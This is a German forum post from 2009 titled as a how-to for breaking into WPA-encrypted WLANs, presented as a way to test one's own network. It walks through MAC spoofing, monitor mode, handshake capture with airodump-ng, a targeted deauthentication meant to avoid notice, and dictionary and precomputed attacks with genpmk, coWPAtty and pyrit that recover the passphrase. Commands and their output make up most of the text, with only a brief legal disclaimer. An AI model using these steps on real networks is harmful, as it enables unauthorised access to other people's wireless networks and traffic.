myGully.com Boerse.SH - BOERSE.AM - BOERSE.IO - BOERSE.IM Boerse.BZ .TO Nachfolger
Zurück   myGully.com > Computer & Technik > Sicherheit & Anonymität
Seite neu laden

HowTo: In WPA verschlüsseltes WLAN eindringen

Willkommen

myGully

Links

Forum

 
 
 
Themen-Optionen Ansicht
Prev Vorheriger Beitrag   Nächster Beitrag Next
Ungelesen 04.12.09, 00:02   #2
haze303
xor eax, eax
 
Benutzerbild von haze303
 
Registriert seit: Sep 2009
Beiträge: 596
Bedankt: 466
haze303 ist noch neu hier! | 1 Respekt Punkte
Standard HowTo: In WPA verschlüsseltes WLAN eindringen

HowTo - Das eigene WLAN auf Schwachstellen überprüfen

---Angewendet auf Basis der WPA-Verschlüsselung---

Copyright (c) haze303, [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]

1. Vorwort
Liebe Community,

mit diesem HowTo möchte ich euch aufzeigen, wie man sein eigenes WLAN auf seine Sicherheit überprüfen kann, wenn Dieses via WPA-Verschlüsselung gesichert ist.
Ich möchte betonen, dass die hier gezeigten Methoden insofern illegal sind und man sich strafbar macht, wenn man diese auf ein fremdes WLAN anwendet, von dessen Besitzer man nicht die ausdrückliche Erlaubnis hat. Bitte beachtet dies!


2. Verwendete Hard- und Software
  • OS: Ubuntu 9.10 32Bit (Kommentare über das Betriebssystem bitte sparen - ich komme aus der BSD-Welt und weiß, wie BSD/Linux im Detail funktioniert.)
  • Software: airodump-ng, airmon-ng, macchanger, aireplay-ng, genpmk, coWPAtty, pyrit-cuda (Alle Programme auf dem aktuellsten Versionsstand.)
  • Hardware: Laptop mit Core2Duo 2,4GHz / 4GB RAM / NVIDIA Quadro NVS 160M GFX / Ralink 2573 USB / Wifi-Treiber: rt73usb



3. Vorbereitung

Mit dem Programm airmon-ng prüfen, welcher Adapter welchen Namen zugeordnet bekommen hat.

Code:
root@haze-laptop:~# airmon-ng 


Interface	Chipset		Driver

wlan0		Intel 4965/5xxx	iwlagn - [phy2]
wlan2		Ralink 2573 USB	rt73usb - [phy16]
Nun den Adapter (in meinem Fall wlan2 - kann auf eurem System unter einem anderen Namen eingebunden sein) wlan2 abschalten, damit wir die MAC-Adresse des Adapters ändern können.

Code:
root@haze-laptop:~# ifconfig wlan2 down
root@haze-laptop:~# macchanger --mac 00:11:22:33:44:55 wlan2
Current MAC: xx:xx:xx:xx:xx:xx (unknown)
Faked MAC:   00:11:22:33:44:55 (Cimsys Inc)
Wie man sehen kann, haben wir mittels den zwei Befehlen die MAC-Adresse des Adapters geändert und können somit sicher sein, dass wir am Ende, wenn wir unseren Key "erraten" haben, mit einem neuen Eintrag in der Netzwerk-Device-Liste eures Routers auftauchen.
Ich lasse bewusst das wlan2 Device abgeschalten, da wir es im Moment nicht brauchen werden.

---

Jetzt starten wir unseren WLAN-Adapter im promiscuous mode oder auch monitor mode genannt, was soviel heisst wie, dass airmon-ng (in den meisten Fällen) ein zweites Device anlegt, welches die gesamten WLAN-Packets in der Umgebung mithört.

Code:
root@haze-laptop:~# airmon-ng start wlan2


Interface	Chipset		Driver

wlan0		Intel 4965/5xxx	iwlagn - [phy2]
wlan2		Ralink 2573 USB	rt73usb - [phy16]
				(monitor mode enabled on mon0)
Nicht jede Karte unterstützt den monitor mode - ob eure Karte diesen unterstützt bzw. auf welchen Chipsatz ihr achten müsst beim Kauf einer WLAN-Karte, könnt ihr [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] entnehmen.


Nun schalten wir auch das neue Device mon0 ab, um die MAC-Adresse ändern zu können. Mit der gleichen Verfahrensweise, wie auch schon beim wlan2 Device.

Code:
root@haze-laptop:~# ifconfig mon0 down
root@haze-laptop:~# macchanger --mac 00:11:22:33:44:55 mon0
Current MAC: 00:1f:1f:28:33:0c (unknown)
Faked MAC:   00:11:22:33:44:55 (Cimsys Inc)
root@haze-laptop:~# ifconfig mon0 up
Der einzige Unterschied zur Abschaltung des Devices zwischen wlan2 und mon0 ist, dass wir das Device mon0 wieder starten, da wir ihn gleich brauchen.



4. Durchführung des Capturing

Nun geht es ans Eingemachte - wir beginnen endlich damit, unser WLAN-Netzwerk zu orten, Packets mitzuschneiden und letztendlich den Key zu "erbruteforcen".

Wir beginnen nun mit dem Programm airodump-ng die Packets, welche alle WLANs in unserer Reichweite senden, "abzuhören".

Code:
root@haze-laptop:/home/haze# airodump-ng mon0

 CH 11 ][ Elapsed: 2 mins ][ 2009-12-02 22:30                                                               
                                                                                                                                   
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    
                                                                                                                                   
 00:11:22:33:44:55  -34       46        0    0   7  54   WPA2 CCMP   PSK  myGully                                                  
                                                
                                                                                                                                    
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                          
                                                                                                                                    
                                                                
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    0 - 1e     0       36
Hier haben wir die Ausgabe des Scans der WLANs in unserer Reichweite.

Name des Netzwerks (SSID): myGully
Kanal auf dem der Access-Point sendet: 7
Netzwerkadresse des Access-Points (BSSID): 00:11:22:33:44:55
Netzwerkadresse des Clients (Client MAC): AA:BB:CCD:EE:FF

Dies bedeutet, dass zum WLAN "myGully" ein Client verbunden ist, was für den weiteren Verlauf sehr glücklich ist und uns eine Menge Zeit ersparen könnte - doch dazu später mehr.

---

Nun werden wir ausschliesslich auf Kanal 6 die Packets des WLANs abhören und in eine Datei schreiben, um später aus den gesammelten Daten den Key zu ermitteln.

Code:
root@haze-laptop:/home/haze/etc/mygully# airodump-ng -c 7 --bssid 00:11:22:33:44:55 -w mygully mon0
Hier die einzelnen Schalter für diesen Befehl etwas genauer markiert: airodump-ng -c %CHANNEL% --bssid %BSSID% -w %AIRODUMP_OUTPUTFILE% mon0

Die Ausgabe von airodump-ng inkl. dieser Schalter:

Code:
CH  7 ][ Elapsed: 4 s ][ 2009-12-02 23:36                                         
                                                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                
                                                                                                                                   
 00:11:22:33:44:55  -31 100       57       11    0   7  54   WPA2 CCMP   PSK  myGully                                              
                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                         
                                                                                                                                   
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -35    0 -48      0       13
Wir lassen airodump-ng einfach mitlaufen, bis wir den 4-Way Handshake abgefangen und in unserem Capture-File (airodump-ng Output File) gespeichert haben.

---

In einem neuen Terminal Fenster werden wir jetzt versuchen den Client, welcher zum Router verbunden ist, mit dem Programm aireplay-ng zum disconnecten und reconnecten zwingen.
airodump-ng läuft weiterhin in eurem anderen Terminal und zeichnet die Packets auf - ganz wichtig!

Code:
root@haze-laptop:/home/haze# aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0
Erklärung des der Schalter:
-0 1 = Broadcast DeAuth oder Single Client DeAuth Methode (in unserem Fall Single Client, da wir eine Client MAC angegeben haben - wesentlich effektiver, wie ein Broadcast DeAuth.)
Die 1 bedeutet, dass wir das DeAuth-Packet nur einmal absenden, um den AP nicht auf uns aufmerksam zu machen - Stichwort: DeAuth Flooding

-a = die BSSID des APs

-c = die Client MAC

mon0 = unser WLAN-Interface

---

Das passierte nun währenddessen in unserem anderen Terminal, indem airodump-ng die Packets in eine Datei mitgeschnitten hat.

Code:
 CH  7 ][ Elapsed: 36 s ][ 2009-12-02 23:45 ][ WPA handshake: AA:BB:CC:DD:EE:FF                                         
                                                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                
                                                                                                                                   
 00:11:22:33:44:55  -33 100      361       84    1   7  54   WPA2 CCMP   PSK  myGully                                              
                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                         
                                                                                                                                   
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -39   54 -36      0      103
Hier fett markiert sehen wir, dass airodump-ng den 4-Way Handshake erkannt und mit in unser Capture-File geschrieben hat. Beste Voraussetzungen!

---

5. Analyse des Capture-Files

Hier geht es darum, dass Capture-File zu analysieren, um wirklich sicher zu stellen, dass wir einen vollständigen 4-Way Handshake mitgeschnitten haben.
Es gibt verschiedene Methoden dies durchzuführen - meine genutzten sind mit Wireshark oder via coWPAtty.

Beginnen wir mit der Wireshark Methode:

Wir öffnen das Capture-File mit Wireshark und setzen den Filter auf das EAPOL Protokoll, sodass uns nur die EAPOL Frames angezeigt werden.

[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]

---

Nun die coWPAtty Methode:

Hierzu nutzen wir das Programm coWPAtty:

Code:
haze@haze-laptop:~/etc/mygully$ cowpatty -c -r mygully-01.cap 
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Erklärung der Schalter:

-c = Nur Analyse des Capture-File, ohne es zu cracken
-r = Dateiname des Capture-Files



6. Bruteforcen des Capture-Files mit Rainbow Tables oder pyrit

Jetzt geht es ans eingemachte - wir befinden uns im Endspurt und werden nun das Capture-File mit einem Dictionary-Bruteforce attackieren.
Hierbei kann man verschiedene Methoden anwenden - die einen sind sehr effektiv, die Anderen wiederum nicht. Ich stelle euch die zwei effektivsten Methoden vor. (von beiden gibt es wiederum noch eine kleine Steigerung, indem man Datenbanken und Rainbow Tables mit pyrit/coWPAtty anlegt - aber das würde jetzt wirklich den Rahmen Sprengen)

Die Rainbow Table Methode:

Bei dieser Methode wird aus einer Wordlist ein Rainbow Table errechnet, mit diesem der Bruteforce-Vorgang exorbitant beschleunigt wird, gegenüber der normalen Aircrack-Methode. Die Erstellung des RT dauert zwar ein wenig - je nach dem, wie groß eure Wordlist ist. Das kann Minuten, Stunden, Tage, Wochen oder auch Monate dauern.
Diese Methode wird auch sehr gerne genutzt, weil es sehr viele RTs im Netz herunterzuladen gibt und diese auch mit anderen geteilt werden können.

Code:
haze@haze-laptop:~/etc/mygully$ sudo genpmk -f /home/haze/cracking/german_dictionary.txt -s myGully -d myGullyrt
genpmk 1.1 - WPA-PSK precomputation attack. <[email protected]>
File myGullyrt does not exist, creating.
key no. 1000: Absatzländeren
.
.
.
key no. 192000: anorganischer

192097 passphrases tested in 1058.04 seconds:  181.56 passphrases/second
Erklärung der Schalter:

-f = Pfad und Dateiname der Wordlist
-s = die SSID des WLAN-Netzwerks
-d = der Dateiname des zu erstellenden Rainbow Tables


Nun die Attacke auf das Capture-File mit dem soeben erstellten Rainbow Table:

Code:
haze@haze-laptop:~/etc/mygully$ cowpatty -d myGullyrt -r mygully-01.cap -s myGully
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.
key no. 10000: Außenministerkandidat
.
.
.
key no. 190000: anlehnened

The PSK is "diesistderkey".

192097 passphrases tested in 1.84 seconds:  104183.91 passphrases/second
Wie ihr sehen könnt, ist die Geschwindigkeit der Rainbow Table Methode wirklich beeindruckend.

---

Die pyrit Methode:

Diese Methode benutzt die GPU der Grafikkarte und die CPU, um das Capture-File mit der Wordlist zu attackieren. Vorteil gegenüber der normalen Aircrack-Methode ist, dass die GPU+CPU zusammen in Sachen Verarbeitung natürlich wesentlich schneller ist, als nur die normale CPU.
Selbstverständlich kommt diese Behauptung nur dann zu tragen, wenn auch eine entsprechend schnelle Grafikkarte in eurem Rechner verbaut ist.

pyrit gibt es mit drei verschiedenen Add-ons. Ich selbst habe nur NVIDIA Karten verbaut und nutze somit das pyrit-cuda Add-on.

Los gehts:

Code:
root@haze-laptop:/home/haze/etc/mygully# pyrit -e myGully -f /home/haze/cracking/test1 passthrough | cowpatty -d - -s myGully -r mygully-01.cap 
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.
Using STDIN for hashfile contents.
The ESSID-blobspace seems to be empty; you should create an ESSID...

key no. 10000: Ballkleidern
.
.
.
key no. 180000: annullable

The PSK is "diesistderkey".

180571 passphrases tested in 212.85 seconds:  848.33 passphrases/second
Erklärung der Schalter:

-e = SSID des WLAN-Netzwerks
-f = Pfad und Dateiname zur Wordlist
passthrough = durchlaufe die wordlist und übergebe sie an die stdout bzw. piped an coWPAtty

-d = übernehme aus der stdout bzw. aus der pipe von pyrit die Ausgabe der Wordlist
-s = SSID des WLAN-Netzwerks
-r = Pfad und Dateiname zum Capture-File

---

7. Schlusswort und Tipps

Das war meine Vorstellung vom gehobeneren Weg zu einem WPA-Key.
Es geht noch schneller mit der Pyrit, Datenbank, Rainbow Table und coWPAtty Methode in Kombination, aber wie schon angesprochen, würde das hier den Rahmen sprengen und eventuell auch den Einen oder Andere für den Anfang etwas überfordern, daher die etwas einfacheren Methoden, welche trotz allem viel effektiver als die normale Aircrack-Methode sind.

Ich hoffe, ihr hattet Spaß am Lesen und habt ein paar lehrreiche Dinge aus diesem HowTo mitnehmen können und vor allem hoffe ich, dass ich verständlich rüberbringen konnte, was wir hier eigentlich machen.
Das ist mit Abstand das Wichtigste - verstehen und nicht einfach nur stur abtippen, denn das hält sich länger im Gehirn und könnte für die Zukunft mal wieder nützlich werden.

Fragen immer gerne, jedoch bitte hier im Thread, da sonst der Überblick verloren geht und eventuell auch Lösungen für den Ein oder Anderen mit dem gleichen Problem.

Rechtschreibfehler können vorkommen, da ich den ganzen Thread nicht noch einmal akribisch Korrektur gelesen habe.

Viele Grüße,
haze303

EDIT: Diese Anleitung kann gerne auf andere Foren gepostet werden, jedoch möchte ich vorher gefragt werden.
haze303 ist offline  
Die folgenden 44 Mitglieder haben sich bei haze303 bedankt:
4Micky (21.10.16), brexna (27.03.19), DeCysos (03.11.19), DoorHole (27.12.16), Dr.Dimes (07.07.20), dst1803 (23.07.19), egobania (05.05.21), Elliot0815 (11.05.17), Eyeborgs (27.12.16), GEZeugt (08.10.17), Gorilla (25.08.18), hanspeterss (20.01.19), Hello1986 (04.03.17), justin_hh (02.01.21), mytup (11.03.17), noumade (20.05.22), Nuevomuerte (06.09.19), opa_Kurt (22.07.21), rbl1 (23.09.21), ruler88 (15.03.19), Viper2003 (30.04.22)
 


Forumregeln
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren

BB code is An
Smileys sind An.
[IMG] Code ist An.
HTML-Code ist Aus.

Gehe zu


Alle Zeitangaben in WEZ +1. Es ist jetzt 00:08 Uhr.


Sitemap

().